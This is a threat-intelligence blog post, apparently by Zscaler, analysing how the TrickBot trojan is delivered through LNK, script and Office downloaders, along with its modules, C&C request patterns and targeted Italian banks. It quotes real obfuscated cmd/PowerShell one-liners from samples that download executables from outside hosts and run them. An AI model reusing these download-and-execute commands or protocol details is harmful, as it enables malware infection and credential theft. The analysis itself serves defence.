First observed in 2016, TrickBot is a successor of the banking trojan Dyre and has become one of the most prevalent and dangerous malware strains in today's threat landscape, which is constantly monitored by the Zscaler ThreatLabZ team. TrickBot is continually evolving as its developers add new features and tricks. It is modular, with a main bot binary that loads other plugins capable of specific tasks, with new modules being introduced and old ones being improved at regular intervals.
Solidarity with other malware
TrickBot is often seen working with other types of malware, sometimes using them as an initial infection vector to find its way into the target host or downloading other malware families to get the most out of an infection. For example, Emotet, the rampant banking trojan, has become a major partner for TrickBot deployments. TrickBot is also known to have deployed cryptominer payloads (Monero miner XMRIG) on infected hosts. And recently, Ryuk has become the TrickBot developers’ favorite ransomware for squeezing more cash out of infections from high-value targets.
Developers are now identifying high-value targets using data collected by TrickBot. Once a target is identified, they use other tools like CobaltStrike, PowerShell Empire, PSExec, and AdFind to navigate and plant Ryuk ransomware (discussed in an earlier post). Legal services and e-discovery giant Epiq Global had to take its systems offline due to a Ryuk infection in the beginning of March 2020.
They have also developed new malware, called AnchorBot, which is based on TrickBot code and utilizes DNS as the command-and-control (C&C) medium. Unlike TrickBot, AnchorBot has not been seen in the wild using malspam or other malware for deployment. It is probably a specialized version reserved for certain targets or may be available to rent out to special customers, potentially nation-state actors. (Notably, Ryuk was attributed to North Korean actors based on code similarities with Hermes ransomware, but many researchers later argued that these similarities were not conclusive.)
Since almost every TrickBot infection starts with malspam containing an attached downloader or from a partner botnet like Emotet, we will take a look at those downloading TrickBot loaders over the last year. We have primarily seen three types of non-executable downloaders:
- LNK
- JS
- DOC
LNK downloader
TrickBot is often spread using spam emails with attached ZIP files containing LNK (.lnk) files. We have seen LNK files with the following icons.
Image 1: LNK file icons observed in the wild
Names of files observed:
Label.doc.lnk
PrintOnline.pdf.lnk
Print.PDF.lnk
ConfirmationOnline.doc.lnk
Readme_Invoice_Doc.doc.lnk
InvoiceAug5.doc.lnk
Invoice_Print.lnk
DOC080219Admission.lnk
One interesting thing is that eight out of nine LNK files had the MachineID win-jbf0q9el659.
Some samples contained a PowerShell script to download a payload from the URL directly in the Link Target field. For example:
%comspec% /r "TIMEOUT /T 5&echo F|xcopy /Y /V /H %PSModulePath:~43,-8%\p*e?s*l.e?? %tmp%\Ger.exe &%tmp%\Ger "IwR ('https://parkc.org/filetext.php') -outfile $env:temp'\ssd.exe'"&echo pause&TimEout /t 3&%temp%/ssd&selrkekrjg&dsghd&sfr345jwrf&&e56tdsf"
/C set o=HttPs:/&powershEll "$sd=new-object system.nEt.weBcliEnt;$sd.doWnloAdfIle($env:o+'/www.braintrainersuk.com/ONOLTDA-GD.exe',$env:tmp+'\D.exe');"&"%programfiles%\wiNDows nt\accESsorIes\wORdpaD" c:\pagefIle.syS&%tmp%/d&J34HH&E34JSH_d+&df
These LNK files contain batch commands to extract and run downloader VBS code. For example:
%comspec% /c copy SnJfA & (findstr "Mydlu.*" Label.doc.lnk > "%tmp%\SNkBU.vbs" & "%tmp%\SNkBU.vbs") & qcpST
It used the findstr command to find the start of a VBS script embedded in the LNK file and executed that script after saving in the %temp% directory. Here, the name of the LNK file is provided to the findstr command. That also works as an anti-sandbox trick for some of the sandboxes that do not run files with their original names.
In this script we mainly observed two types of obfuscation; one is where the obfuscated string is provided and it executes, replacing a part of it with “)+chr(“
Image 2: Code using CHR obfuscation
In another type of obfuscation, two arrays of values are provided, and the decrypted script is built character by character with arithmetic operations on array elements.
Image 3: Code using arrays for obfuscation
After decryption, the script looks the same for the LNK file as well as the script files from the spam emails:
Image 4: Decrypted downloader payload
These variations may be an attempt to bypass AV emulators. The malware tries to create a shortcut and save by passing a parameter to the save method, which will fail on the real machine. After that, it checks if the file exists and only downloads if the file has not been created.
Script downloader
The obfuscation scripts and final downloader scripts are similar to scripts extracted from LNK files. In these files, we’ve seen some additional types of obfuscation along with the obfuscation seen in scripts from LNK files.
Image 5: Obfuscated script
Image 6: Another obfuscated script
While in most cases, the final scripts responsible for downloading the TrickBot payload were identical and not obfuscated, in one case the script was slightly obfuscated:
Image 7: Decrypted downloader with slight obfuscation
Document downloader
Downloaders based on Office documents were once the favorite choice of TrickBot developers. But recently, we have seen a downtrend in macro-based document usage for TrickBot delivery.
Some of the document templates we have observed during last year are below.
Image 8: Set of templates used by downloader documents to lure the end users
Image 9: Another set of templates used by downloader documents to lure the end users
Image 10: U.S. Employment template used by document downloaders
Image 11: JP Morgan template used by document downloaders
There were different variations of documents downloading TrickBot. Some of the variations we observed included:
- Drop and execute JS/JSE files which further download the TrickBot payload. The dropped script file is similar to the files discussed in the script downloader section.
- Macro code downloads and executes payload.
- No macro code in file, executable directly embedded in document as ActiveX, requires user to double-click.
Image 12: Executable directly embedded in document as ActiveX
- Deobfuscate and build batch commands to download file
- First create a copy of bitsadmin file
- Download payload using copied bitsadmin file
Image 13: Commands extracted used by downloader
- In other cases, it drops a BAT file containing PowerShell code to download payload
Image 14: PowerShell encrypted and decrypted command
Actions used to start execution of downloader:
- Macro Auto_Open()
- Macro Document_Open()
- Macro Document_Close()
- Double-click by user to run ActiveX object
Loader
Once it’s downloaded, the main TrickBot component known as the TrickBot loader begins to run. The loader acts as banking Trojan and is also responsible for downloading various modules for specific tasks. TrickBot modules come in 32-bit and 64-bit and, depending on the architecture of the infected system, the loader downloads and runs the corresponding modules.
The following are the TrickBot modules seen in the wild:
- Systeminfo - For gathering basic information on the host
- importDll - For stealing data from a browser
- injectDll - For injecting into banking websites to steal credentials
- Pwgrab - For grabbing passwords from various spots
- cookiesDll - For stealing/grabbing cookies
- mailsearcher - For traversal over all files in all drives in the system to steal
- sharedll - For transferring over to ADMIN shares and creating persistence via services
- networkDll - For gathering system information and network/domain topology
- NewBCtestDll - Backconnect SOCK5 module
- psfin - Point-of-Sale 'recon' module
- vncDll - Remote control/VNC module
- wormDll - For lateral movement
- tabDll - For spreading over SMB using EternalRomance and MS17-010
- outlookDll - For stealing data saved by Microsoft Outlook
- domainDll - For LDAP harvesting of domain controller configuration
- mwormDll - For lateral movement/enumeration module via LDAP and SMB exploitation
- mshareDll - For lateral movement/enumeration via LDAP and SMB exploitation; mshare and mworm modules work in cooperation
- rdpScanDll - New module that uses brute-force remote desktop protocol (RDP) for a specific list of victims
It downloads and injects each module into a new instance of svchost.exe. For each running TrickBot component there is a corresponding instance of svchost.exe.
The latest version of loaders that we have seen in wild are 1087 and 1088, and the most recent config version is 1000503.
Image 15: TrickBot loader configuration
We looked at loader version numbers and their compilation dates, then plotted version 1058 to version 1088 with their corresponding compilation dates. It seems that two different versions are maintained at a time:
Image 16: TrickBot loader version and compilation date timeline
It may seem that each version represents two botnets that are run independently, but according to our data, the C&C infrastructure is shared by all versions. More than 1,400 C&C IPs extracted from the TrickBot configuration were used to draw a relationship map with loader versions.
Unlike Emotet, which uses a separate first layer C&C infrastructure for different epochs, we observed no such organization in TrickBot. It shares its first layer infrastructure between all levels, global site tags (gtags), and versions.
Image 17: TrickBot loader version relationships with C&C IPs
Similarly, almost all gtags in configs also share the same infrastructure or proxy infrastructure.
Image 18: TrickBot gtag relation with C&C IPs
With the exception of gtag mill (20mill), all others share C&C infrastructure.
Image 19: Configuration file extracted from MD5: 598bc23fc38b4712289ff5488bce2f1c containing "20mill" gtag
C&C infrastructure is shared between different levels of TrickBot infection, such as between loaders and modules (handling bots, modules, and webinjects).
Image 20: Different type of configuration relationships with IPs
Communication
TrickBot communicates with C&C servers using GET requests and always uses numeric IP addresses as C&C addresses; its port numbers are usually 443, 449, or 499. The communication always happens over SSL/TLS, but the port can be any of the ports used by TrickBot. The TrickBot loader supports various commands that it uses to communicate with the C&C servers.
Its C&C request pattern is:
{server-ip:port}/{gtag}/{client_id}/{Command}
Some of its interesting commands include:
- /0/ - initial contact format e.g /0/{os name}/{version}/{public ip}/{64 hex char}/{base64}
- /1/ - keep alive, wait for command
- /5/{name} - download module or injects e.g /5/injectDll64/, /5/dinj/
- /10/ Log module/command execution has started e.g. /10/62/972991/1/
- /14/ - profiling information or important feedback e.g /14/user/{username}/0/
- /23/{config_version} - Update base config
- /25/ - update bot e.g /25/M2vzSeNWHXZ2SZI8HNKwD/
- /60/ - post traffic captured by injectDll
- /63/ - issue command to component (x) e.g /63/injectDll/sTart/U3VjY2Vzcw==// (‘Success’) /1/
- /64/ - issue command to ETERNALBLUE component (wormdll) e.g /64/wormDll/InfectMachine/infect/
- /send/ - used by mailsearcher component to POST exfil email addresses
Its webinject config looks like this:
Image 21: Trickbot webinject configuration
Recently, around the second week-end of March, TrickBot added a few new banks from Italy to its target list, which includes:
| cedacri.it | banking4you.it | www.credem.it |
nowbanking.credit-agricole.it
|
| inbank.it | friuladria.it | finecobank.com | youweb.bancobpm.it |
| csebo.it | carispezia.it | relaxbanking.it |
www.intesasanpaolo.com
|
| creval.it | cariparma.it | bpergroup.net | ibbweb.tecmarket.it |
| mps.it | unicredit.it | icbp.seceti.it |
dbonline.italy.db.com
|
| poste.it | ibk.nexi.it | banking.bnl.it | fideuramonline.it |
| gruppocarige.it | clienti.chebanca.it | scrigno.popso.it | qweb.quercia.com |
| ib.cbibanking.it | ubibanca.com | bancagenerali.it | paco.cabel.it |
Conclusion
Threat actors like the developers of TrickBot are becoming more and more sophisticated. TrickBot recently introduced a new module called rdpScanDll. And, most recently, TrickBot was observed using Android malware to bypass two-factor authentication in Germany. We have not seen the use of this app for other targets, but we don’t expect it to be long until attackers begin to use it worldwide. The Zscaler ThreatLabZ team proactively tracks and ensures coverage to block downloaders, payloads, webinjects, and C&C activity from TrickBot and related malware. Because TrickBot’s C&C communications occur over SSL, we strongly recommend the use of SSL inspection to detect and block TrickBot and similar threats.
